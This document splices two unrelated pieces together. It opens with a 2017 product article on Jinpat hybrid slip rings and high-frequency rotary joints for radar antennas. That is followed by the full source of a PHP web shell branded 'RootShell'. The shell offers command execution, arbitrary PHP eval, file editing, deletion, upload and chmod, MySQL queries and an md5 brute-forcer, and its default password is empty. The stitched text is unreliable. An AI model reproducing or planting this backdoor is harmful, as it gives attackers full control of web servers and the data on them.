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The Application Of Rotary Joints In Radar Control System

Dditors:gassrini Time:2017-04-27

With the diversification of radar systems, all kinds of rotating combination application in radar system is becoming more frequent, The rotary combination is a rotary transmission device for connecting the equipment cabin and the antenna in the radar system. Its task is to make the fixed and rotating ends of the various electrical signals, optical signals, power or liquid or gas medium rotation transmission. Rotary joint is the indispensable key device in the mechanical scan radar system, it is used in radar antenna.

 

Jinpat LPHF rotary joint series slip ring is a slip ring and high frequency rotary joint LPCC series in one of the mixed slip ring

LPHF rotary joint series of slip ring is a mixed type slip ring that integrated electronic slip ring and high frequency rotary joint. In addition to realize the function of the traditional electrical slip ring, it also can through the high frequency rotary joint transmission frequency up to 500 MHZ - more than 50 GHZ analog signals and high speed digital signals. This series of slip ring performance is remarkable, its signal attenuation loss and transmission fluctuations in ultra-low, which has been widely used in air traffic control, missile defense systems and other aerospace fields.

 

Features:

1, high frequency channel up to 37 circuits

2, the frequency range up to 50GHz

Customization options:

1, the number of channels

2, the number of high frequency channels

3, rated voltage and rated current

4, the end of the wire connector

5, the length of the wire

6, support broadband signal and current or other signal mixed transmission

 

Typical Application:

1, radar antenna

2, air traffic control

3, satellite communication system

Other customizable rotary joint type

Hybrid slip ring 1 ------ The combination of the electric slip ring and the fiber optic rotary joint

Hybrid slip ring 2 ----- The slip ring is combined with the high frequency rotary joint

Hybrid slip ring 3 ----- The slip ring is combined with the hydraulic / pneumatic rotary joint

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<?php
error_reporting(0); //If there is an error, we'll show it, k?
$password = ""; // You can put a md5 string here too, for plaintext passwords: max 31 chars.
$me = basename(__FILE__);
$cookiename = "wieeeee";

if(isset($_POST['pass'])) //If the user made a login attempt, "pass" will be set eh?
{
 if(strlen($password) == 32) //If the length of the password is 32 characters, threat it as an md5.
 {
  $_POST['pass'] = md5($_POST['pass']);
 }
 if($_POST['pass'] == $password)
 {
   setcookie($cookiename, $_POST['pass'], time()+3600); //It's alright, let hem in
 }
 reload();
}
 
if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password))
{
 login();
 die();
}
//
//Do not cross this line! All code placed after this block can't be executed without being logged in!
//
if(isset($_GET['p']) && $_GET['p'] == "logout")
{
setcookie ($cookiename, "", time() - 3600);
reload();
}
if(isset($_GET['dir']))
{
 chdir($_GET['dir']);
}

$pages = array(
 'cmd' => 'Execute Command',
 'eval' => 'Evaluate PHP',
 'mysql' => 'MySQL Query',
 'chmod' => 'Chmod File',
 'phpinfo' => 'PHPinfo',
 'md5' => 'md5 cracker',
 'headers' => 'Show headers',
 'logout' => 'Log out'
);
//The header, like it?
$header = '<html>
<title>'.getenv("HTTP_HOST").' ~ Shell I</title>
<head>
<style>
td {
 font-size: 12px; 
 font-family: verdana;
 color: #33FF00;
 background: #000000;
}
#d {
 background: #003000;
}
#f {
 background: #003300;
}
#s {
 background: #006300;
}
#d:hover
{
 background: #003300;
}
#f:hover
{
 background: #003000;
}
pre {
 font-size: 10px; 
 font-family: verdana;
 color: #33FF00;
}
a:hover {
text-decoration: none;
}

input,textarea,select {
 border-top-width: 1px; 
 font-weight: bold; 
 border-left-width: 1px; 
 font-size: 10px; 
 border-left-color: #33FF00; 
 background: #000000; 
 border-bottom-width: 1px; 
 border-bottom-color: #33FF00; 
 color: #33FF00; 
 border-top-color: #33FF00; 
 font-family: verdana; 
 border-right-width: 1px; 
 border-right-color: #33FF00;
}
hr {
color: #33FF00;
background-color: #33FF00;
height: 5px;
}
</style>
</head>
<body bgcolor=black alink="#33CC00" vlink="#339900" link="#339900">
<table width=100%><td id="header" width=100%>
<p align=right><b>[<a href="http://www.rootshell-team.info">RootShell</a>]  [<a href="'.$me.'">Home</a>] ';
foreach($pages as $page => $page_name)
{
 $header .= ' [<a href="?p='.$page.'&dir='.realpath('.').'">'.$page_name.'</a>] ';
}
$header .= '<br><hr>'.show_dirs('.').'</td><tr><td>';
print $header;
$footer = '<tr><td><hr><center>&copy; <a href="http://www.ironwarez.info">Iron</a> & <a href="http://www.rootshell-team.info">RootShell Security Group</a></center></td></table></body></head></html>';

//
//Page handling
//
if(isset($_REQUEST['p']))
{
  switch ($_REQUEST['p']) {
   
   case 'cmd': //Run command
    
    print "<form action=\"".$me."?p=cmd&dir=".realpath('.')."\" method=POST><b>Command:</b><input type=text name=command><input type=submit value=\"Execute\"></form>";
     if(isset($_REQUEST['command']))
     {
      print "<pre>";
      execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that?
     }
   break;
   
   
   case 'edit': //Edit a fie
    if(isset($_POST['editform']))
    {
     $f = $_GET['file'];
     $fh = fopen($f, 'w') or print "Error while opening file!";
     fwrite($fh, $_POST['editform']) or print "Couldn't save file!";
     fclose($fh);
    }
    print "Editing file <b>".$_GET['file']."</b> (".perm($_GET['file']).")<br><br><form action=\"".$me."?p=edit&file=".$_GET['file']."&dir=".realpath('.')."\" method=POST><textarea cols=90 rows=15 name=\"editform\">";
    
    if(file_exists($_GET['file']))
    {
     $rd = file($_GET['file']);
     foreach($rd as $l)
     {
      print htmlspecialchars($l);
     }
    }
    
    print "</textarea><input type=submit value=\"Save\"></form>";
    
   break;
   
   case 'delete': //Delete a file
   
    if(isset($_POST['yes']))
    {
     if(unlink($_GET['file']))
     {
      print "File deleted successfully.";
     }
     else
     {
      print "Couldn't delete file.";
     }
    }
    
    
    if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes']))
    {
     print "Are you sure you want to delete ".$_GET['file']."?<br>
     <form action=\"".$me."?p=delete&file=".$_GET['file']."\" method=POST>
     <input type=hidden name=yes value=yes>
     <input type=submit value=\"Delete\">
     ";
    }
   
   
   break;
   
   
   case 'eval': //Evaluate PHP code
   
    print "<form action=\"".$me."?p=eval\" method=POST>
    <textarea cols=60 rows=10 name=\"eval\">";
    if(isset($_POST['eval']))
    {
     print htmlspecialchars($_POST['eval']);
    }
    else
    {
     print "print \"Yo Momma\";";
    }
    print "</textarea><br>
    <input type=submit value=\"Eval\">
    </form>";
    
    if(isset($_POST['eval']))
    {
     print "<h1>Output:</h1>";
     print "<br>";
     eval($_POST['eval']);
    }
   
   break;
   
   case 'chmod': //Chmod file
    
    
    print "<h1>Under construction!</h1>";
    if(isset($_POST['chmod']))
    {
    switch ($_POST['chvalue']){
     case 777:
     chmod($_POST['chmod'],0777);
     break;
     case 644:
     chmod($_POST['chmod'],0644);
     break;
     case 755:
     chmod($_POST['chmod'],0755);
     break;
    }
    print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue'].".";
    }
    if(isset($_GET['file']))
    {
     $content = urldecode($_GET['file']);
    }
    else
    {
     $content = "file/path/please";
    }
    
    print "<form action=\"".$me."?p=chmod&file=".$content."&dir=".realpath('.')."\" method=POST><b>File to chmod:
    <input type=text name=chmod value=\"".$content."\" size=70><br><b>New permission:</b>
    <select name=\"chvalue\">
<option value=\"777\">777</option>
<option value=\"644\">644</option>
<option value=\"755\">755</option>
</select><input type=submit value=\"Change\">";
    
   break;
   
   case 'mysql': //MySQL Query
   
   if(isset($_POST['host']))
   {
    $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error());
    mysql_select_db($_POST['dbase']);
    $sql = $_POST['query'];
    
    
    $result = mysql_query($sql);
    
   }
   else
   {
    print "
    This only queries the database, doesn't return data!<br>
    <form action=\"".$me."?p=mysql\" method=POST>
    <b>Host:<br></b><input type=text name=host value=\"localhost\" size=10><br>
    <b>Username:<br><input type=text name=username value=\"root\" size=10><br>
    <b>Password:<br></b><input type=password name=mysqlpass value=\"\" size=10><br>
    <b>Database:<br><input type=text name=dbase value=\"test\" size=10><br>
    
    <b>Query:<br></b<textarea name=query></textarea>
    <input type=submit value=\"Query database\">
    </form>
    ";
    
   }
   
   break;
   
   case 'createdir':
   if(mkdir($_GET['crdir']))
   {
   print 'Directory created successfully.';
   }
   else
   {
   print 'Couldn\'t create directory';
   }
   break;
   
   
   case 'phpinfo': //PHP Info
    phpinfo();
   break;
   
   
   case 'rename':
   
    if(isset($_POST['fileold']))
    {
     if(rename($_POST['fileold'],$_POST['filenew']))
     {
      print "File renamed.";
     }
     else
     {
      print "Couldn't rename file.";
     }
     
    }
    if(isset($_GET['file']))
    {
     $file = basename(htmlspecialchars($_GET['file']));
    }
    else
    {
     $file = "";
    }
    
    print "Renaming ".$file." in folder ".realpath('.').".<br>
        <form action=\"".$me."?p=rename&dir=".realpath('.')."\" method=POST>
     <b>Rename:<br></b><input type=text name=fileold value=\"".$file."\" size=70><br>
     <b>To:<br><input type=text name=filenew value=\"\" size=10><br>
     <input type=submit value=\"Rename file\">
     </form>";
   break;
   
   case 'md5':
   if(isset($_POST['md5']))
   {
   if(!is_numeric($_POST['timelimit']))
   {
   $_POST['timelimit'] = 30;
   }
   set_time_limit($_POST['timelimit']);
    if(strlen($_POST['md5']) == 32)
    {
     
      if($_POST['chars'] == "9999")
      {
      $i = 0;
      while($_POST['md5'] != md5($i) && $i != 100000)
       {
        $i++;
       }
      }
      else
      {
       for($i = "a"; $i != "zzzzz"; $i++)
       {
        if(md5($i == $_POST['md5']))
        {
         break;
        }
       }
      }
     
     if(md5($i) == $_POST['md5'])
     {
       print "<h1>Plaintext of ". $_POST['md5']. " is <i>".$i."</i></h1><br><br>";
     }
     
    }
    
   }
   
   print "Will bruteforce the md5
    <form action=\"".$me."?p=md5\" method=POST>
    <b>md5 to crack:<br></b><input type=text name=md5 value=\"\" size=40><br>
    <b>Characters:</b><br><select name=\"chars\">
    <option value=\"az\">a - zzzzz</option>
    <option value=\"9999\">1 - 9999999</option>
    </select>
    <b>Max. cracking time*:<br></b><input type=text name=timelimit value=\"30\" size=2><br>
    <input type=submit value=\"Bruteforce md5\">
    </form><br>*: if set_time_limit is allowed by php.ini";
   break;
   
   case 'headers':
   foreach(getallheaders() as $header => $value)
   {
   print htmlspecialchars($header . ":" . $value)."<br>";
   
   }
   break;
  }
}
else //Default page that will be shown when the page isn't found or no page is selected.
{
 
 $files = array();
 $directories = array();
 
 if(isset($_FILES['uploadedfile']['name']))
{
 $target_path = realpath('.').'/';
 $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 
 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
     print "File:".  basename( $_FILES['uploadedfile']['name']). 
     " has been uploaded";
 } else{
     echo "File upload failed!";
 }
}

 
 
 
 print "<table border=0 width=100%><td width=5% id=s><b>Options</b></td><td id=s><b>Filename</b></td><td id=s><b>Size</b></td><td id=s><b>Permissions</b></td><td id=s>Last modified</td><tr>";
 if ($handle = opendir('.'))
 {
  while (false !== ($file = readdir($handle))) 
  {
        if(is_dir($file))
     {
    $directories[] = $file;
     }
     else
     {
    $files[] = $file;
     }
  }
 asort($directories);
 asort($files);
  foreach($directories as $file)
  {
   print "<td id=d><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=d><a href=\"".$me."?dir=".realpath($file)."\">".$file."</a></td><td id=d></td><td id=d><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=d>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>";
  }
  
  foreach($files as $file)
  {
   print "<td id=f><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=f><a href=\"".$me."?p=edit&dir=".realpath('.')."&file=".realpath($file)."\">".$file."</a></td><td id=f>".filesize($file)."</td><td id=f><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=f>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>";
  }
 }
 else
 {
  print "<u>Error!</u> Can't open <b>".realpath('.')."</b>!<br>";
 }
 
 print "</table><hr><table border=0 width=100%><td><b>Upload file</b><br><form enctype=\"multipart/form-data\" action=\"".$me."?dir=".realpath('.')."\" method=\"POST\">
<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" /><input size=30 name=\"uploadedfile\" type=\"file\" />
<input type=\"submit\" value=\"Upload File\" />
</form></td><td><form action=\"".$me."\" method=GET><b>Change Directory<br></b><input type=text size=40 name=dir value=\"".realpath('.')."\"><input type=submit value=\"Change Directory\"></form></td>
<tr><td><form action=\"".$me."\" method=GET><b>Create file<br></b><input type=hidden name=dir value=\"".realpath('.')."\"><input type=text size=40 name=file value=\"".realpath('.')."\"><input type=hidden name=p value=edit><input type=submit value=\"Create file\"></form>
</td><td><form action=\"".$me."\" method=GET><b>Create directory<br></b><input type=text size=40 name=crdir value=\"".realpath('.')."\"><input type=hidden name=dir value=\"".realpath('.')."\"><input type=hidden name=p value=createdir><input type=submit value=\"Create directory\"></form></td>
</table>";

}

function login()
{
 print "<table border=0 width=100% height=100%><td valign=\"middle\"><center>
 <form action=".basename(__FILE__)." method=\"POST\"><b>Password?</b>
 <input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=\"submit\" value=\"Login\">
 </form>";
}
function reload()
{
 header("Location: ".basename(__FILE__));
}
function get_execution_method()
{
 if(function_exists('passthru')){ $m = "passthru"; }
 if(function_exists('exec')){ $m = "exec"; }
 if(function_exists('shell_exec')){ $m = "shell_ exec"; }
 if(function_exists('system')){ $m = "system"; }
 if(!isset($m)) //No method found :-|
 {
  $m = "Disabled";
 }
 return($m);
}
function execute_command($method,$command)
{
 if($method == "passthru")
 {
  passthru($command);
 }
 
 elseif($method == "exec")
 {
  exec($command,$result);
  foreach($result as $output)
  {
   print $output."<br>";
  }
 }
 
 elseif($method == "shell_exec")
 {
  print shell_exec($command);
 }
 
 elseif($method == "system")
 {
  system($command);
 }
}
function perm($file)
{
 if(file_exists($file))
 {
  return substr(sprintf('%o', fileperms($file)), -4);
 }
 else
 {
  return "????";
 }
}
function get_color($file)
{
if(is_writable($file)) { return "green";}
if(!is_writable($file) && is_readable($file)) { return "white";}
if(!is_writable($file) && !is_readable($file)) { return "red";}
 
}
function show_dirs($where)
{
 if(ereg("^c:",realpath($where)))
 {
 $dirparts = explode('\\',realpath($where));
 }
 else
 {
 $dirparts = explode('/',realpath($where));
 }
 
 
 
 $i = 0;
 $total = "";
 
 foreach($dirparts as $part)
 {
  $p = 0;
  $pre = "";
  while($p != $i)
  {
   $pre .= $dirparts[$p]."/";
   $p++;
   
  }
  $total .= "<a href=\"".basename(__FILE__)."?dir=".$pre.$part."\">".$part."</a>/";
  $i++;
 }
 
 return "<h2>".$total."</h2><br>";
}
print $footer;
// Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-)
exit();
?>

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